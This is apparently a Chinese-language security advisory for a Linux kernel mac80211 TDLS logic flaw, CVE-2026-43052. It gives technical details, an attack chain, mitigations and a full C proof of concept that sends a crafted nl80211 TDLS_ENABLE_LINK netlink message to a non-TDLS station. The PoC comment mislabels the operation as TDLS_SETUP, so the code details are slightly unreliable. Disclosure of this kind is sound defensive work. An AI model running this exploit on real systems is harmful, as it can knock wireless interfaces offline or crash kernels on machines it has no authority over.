IPBUF安全漏洞报告
English
CVE-2026-43052 CVSS 7.1 高危

CVE-2026-43052: Linux内核mac80211 TDLS操作逻辑漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43052
漏洞类型
逻辑错误
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernelmac80211WiFiTDLS逻辑错误本地漏洞DoS

漏洞概述

CVE-2026-43052 是 Linux 内核 mac80211 子系统中的一个高危漏洞。该漏洞源于 `ieee80211_tdls_oper` 函数在处理 `NL80211_TDLS_ENABLE_LINK` 操作时,仅检查了站点是否存在,而未验证该站点是否为真正的 TDLS(Tunneled Direct Link Setup)站点。攻击者可利用此缺陷,对非 TDLS 站点执行 TDLS 操作,导致在操作失败前产生非预期的副作用,如修改信道上下文和 HT 保护机制。成功利用该漏洞可能导致系统完整性受损和可用性下降,CVSS v3.1 评分为 7.1。

技术细节

该漏洞位于 Linux 内核的无线驱动子系统 mac80211 中,具体涉及 `net/mac80211/tdls.c` 文件内的 `ieee80211_tdls_oper` 函数。当用户空间程序通过 Netlink 发送 `NL80211_TDLS_ENABLE_LINK` 命令时,内核代码会查找对应的 `sta`(站点)结构体。然而,现有代码逻辑存在的缺陷是,它只验证了 `sta` 指针是否非空(即站点是否存在于哈希表中),却忽略了检查 `sta->sta.tdls` 标志位。

由于缺乏这一关键检查,本地低权限攻击者可以针对普通的非 TDLS 站点(如标准的 AP-Client 关联站点)触发 TDLS 启用流程。这会导致内核执行原本仅应用于 TDLS 对等端的操作,例如错误地修改信道上下文(Channel Context)和 HT(High Throughput)保护设置。尽管操作最终可能因状态不一致而失败,但在失败前产生的副作用已经破坏了无线接口的正常状态,可能导致拒绝服务或内核崩溃。修复方案是在执行任何副作用操作之前,提前检查 `sta->sta.tdls` 标志,确保操作仅针对合法的 TDLS 对端执行。

攻击链分析

STEP 1
1. 获取本地访问权限
攻击者需要获取本地低权限用户访问权限(PR:L),以便能够执行代码或发送 Netlink 请求。
STEP 2
2. 识别无线接口与站点
攻击者枚举系统中的无线网络接口(如 wlan0)并获取当前关联的接入点(AP)或非 TDLS 站点的 MAC 地址。
STEP 3
3. 构造恶意 Netlink 消息
攻击者构造一个 Netlink 消息,指定 `NL80211_CMD_TDLS_OPER` 命令,操作类型为 `NL80211_TDLS_ENABLE_LINK`,目标 MAC 设为非 TDLS 站点。
STEP 4
4. 触发内核漏洞
消息发送至内核,`ieee80211_tdls_oper` 函数接收到请求,仅检查站点存在性,未检查 `sta->sta.tdls` 标志。
STEP 5
5. 执行非预期副作用
内核尝试对非 TDLS 站点执行 TDLS 初始化,错误地修改信道上下文和 HT 保护设置,导致完整性(I:H)和可用性(A:H)受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43052 * This PoC demonstrates sending a TDLS_SETUP request to a non-TDLS station * to trigger the missing flag check in ieee80211_tdls_oper. * Compile with: gcc -o poc_tdls poc_tdls.c -lnl-3 -lnl-genl-3 */ #include <netlink/netlink.h> #include <netlink/genl/genl.h> #include <netlink/genl/ctrl.h> #include <linux/nl80211.h> #include <stdio.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { struct nl_sock *sock; struct nl_msg *msg; int family_id; const char *iface = "wlan0"; // Change to your wireless interface int ifindex; // 1. Allocate and connect Netlink socket sock = nl_socket_alloc(); if (!sock) { perror("nl_socket_alloc"); return -1; } if (genl_connect(sock)) { perror("genl_connect"); goto err_out; } // 2. Resolve nl80211 generic netlink family family_id = genl_ctrl_resolve(sock, "nl80211"); if (family_id < 0) { fprintf(stderr, "nl80211 not found\n"); goto err_out; } ifindex = if_nametoindex(iface); if (ifindex == 0) { perror("if_nametoindex"); goto err_out; } // 3. Construct the Netlink message msg = nlmsg_alloc(); if (!msg) { perror("nlmsg_alloc"); goto err_out; } // NL80211_CMD_TDLS_OPER genlmsg_put(msg, NL_AUTO_PID, NL_AUTO_SEQ, family_id, 0, 0, NL80211_CMD_TDLS_OPER, 0); // NL80211_ATTR_IFINDEX nla_put_u32(msg, NL80211_ATTR_IFINDEX, ifindex); // NL80211_ATTR_MAC (Target Station MAC - e.g., the AP MAC) // Using a dummy MAC here, replace with actual AP MAC for testing unsigned char mac[6] = {0x00, 0x11, 0x22, 0x33, 0x44, 0x55}; nla_put(msg, NL80211_ATTR_MAC, 6, mac); // NL80211_ATTR_TDLS_OPERATION: NL80211_TDLS_ENABLE_LINK // This triggers the vulnerable code path on a non-TDLS station nla_put_u32(msg, NL80211_ATTR_TDLS_OPERATION, NL80211_TDLS_ENABLE_LINK); // 4. Send the message printf("Sending malicious TDLS_ENABLE_LINK operation to non-TDLS station...\n"); nl_send_auto(sock, msg); nlmsg_free(msg); err_out: nl_socket_free(sock); return 0; }

影响范围

Linux Kernel (修复补丁应用前的版本)

防御指南

临时缓解措施
建议限制本地低权限用户对 Netlink 套接字及无线网络配置接口的访问权限。如果无法立即升级内核,可暂时禁用受影响系统的无线接口功能以规避风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表